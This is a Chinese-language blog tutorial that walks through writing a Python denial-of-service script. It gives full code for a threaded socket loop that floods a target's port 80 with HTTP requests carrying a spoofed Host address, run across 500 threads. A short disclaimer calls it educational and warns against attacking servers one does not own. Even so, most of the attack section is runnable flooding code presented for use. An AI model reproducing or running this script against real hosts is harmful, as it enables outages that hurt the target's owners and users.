Photo from unsplash: banner3_opo0ml

用Python編寫DOSS攻擊腳本

Written on January 06, 2023 by Derek Sun.

Last updated January 06, 2023.

See changes
7 min read
views

前言

在本文中,我們將用Python編寫一個滲透測試腳本,即一個DDOS腳本。這個程序可以讓我們用大量的請求去搞死一台服務器,以至於在一段時間後,它將無法再作出反應,甚至癱瘓。
但是,在此之前,我要給個很大的警告!對任何不屬於你的或你沒有權限攻擊的服務器進行DDOS攻擊是違法的。禁止對任何他人的服務器進行攻擊,我也不對你用這個腳本做的事情負責。這個帖子純粹是教育性的,它將幫助你我了解網絡知識和Python編程。所以,千萬千萬不要做傻事!

什麼是DOSS?

分佈式拒絕服務(Distributed Denial of Service,簡稱DDoS)將多台計算機聯合起來作為攻擊平台,通過遠程連接,利用惡意程序對一個或多個目標發起DDoS攻擊,消耗目標服務器性能或網絡帶寬,從而造成服務器無法正常地提供服務。
通常,攻擊者使用一個非法賬號將DDoS主控程序安裝在一台計算機上,並在網絡上的多台計算機上安裝代理程序。在所設定的時間內,主控程序與大量代理程序進行通訊,代理程序收到指令時對目標發動攻擊,主控程序甚至能在幾秒鐘內激活成百上千次代理程序的運行。 DOSS
在殭屍網絡中,一名黑客入侵了許多普通人的計算機和服務器,並把這些戰利品作為殭屍機。他利用這些機器對服務器進行集體攻擊。這些機器可以運行成千上萬的DDOS腳本,而不是一個DDOS腳本。服務器遲早會被大量的請求折騰癱瘓,以至於它無法回應普通的用戶請求。對於較小和較弱的服務器,有時一個攻擊就足以讓它癱瘓。然而,通常這種攻擊可以通過限制攻擊者的IP地址來解決。

編寫DDOS腳本

用Python編寫一個DDOS腳本是非常簡單的。我們只需要在一個特定的端口上反復向一個主機發送請求。這可以通過sockets來完成。為了加快這個過程並使其更加有效,我們也將使用多線程。因此,本將需要以下庫:

import socket import threading
Python

我們首先需要的是目標的IP地址、我們要攻擊的端口和我們要使用的假IP地址。請注意,這種 "假 "IP地址並不能真正掩蓋你是誰。它不會使你成為匿名者,還是可以抓到你的。

target = '1xx.0.0.1xx' fake_ip = '182.21.20.32' port = 80
Python

正如我上文提到的,DDOS是非法的。所以要小心你選擇的目標。在這種情況下,我選擇了我家裡的路由器的IP地址。你也可以選擇你的家庭服務器,你的打印機,甚至是你自己的網站。如果你不知道你的IP地址,你可以使用你的命令行和ping域名來獲得它。作為一個假的IP地址,我選擇了一個隨機但仍然有效的地址。至於端口,我決定攻擊80端口,也就是HTTP。

def attack(): while True: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target, port)) s.sendto(("GET /" + target + " HTTP/1.1\r\n").encode('ascii'), (target, port)) s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (target, port)) s.close()
Python

這個攻擊函數是在我們每個單獨線程中運行的函數。它啟動了一個無休止的循環,在這個循環中,它創建一個socket,連接到目標,並一次又一次地發送HTTP請求。當然,如果你要攻擊另一個端口,你也必須改變你發送的請求的類型。
在這裡,你可以看到我們在請求中註入了我們的假IP地址。請求本身需要被編碼成字節,這樣它才能被發送到服務器上。在每個迭代結束時,我們關閉我們的socket。
現在,我們需要做的最後一件事是運行多個線程,同時執行這個函數。如果我們只是運行這個函數,它將一次又一次地發送大量的請求,總是一個接一個。通過使用多線程,我們可以一次發送許多請求。

for i in range(500): thread = threading.Thread(target=attack) thread.start()
Python

在這種情況下,我們要啟動500個線程來執行我們的函數。當然,你可以在這個數字上做文章。也許30或50已經足夠了。當我們現在執行我們的腳本時,我們將對目標進行DDOS,但我們不會看到任何東西。如果你想看到一些信息,你可以打印已經發送的請求的數量。請注意,這將減慢你的攻擊速度。

attack_num = 0 def attack(): while True: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target, port)) s.sendto(("GET /" + target + " HTTP/1.1\r\n").encode('ascii'), (target, port)) s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (target, port)) global attack_num attack_num += 1 print(attack_num) s.close()
Python

我們創建了一個變量attack_num,跟踪已經發送了多少個請求。每一次迭代,我們都增加這個數字並打印出來。

本篇文章结束

Tweet this article

Enjoying this post?

不再錯過 😉.留下你的郵箱地址,發送郵件告訴我 .

Subscribe Now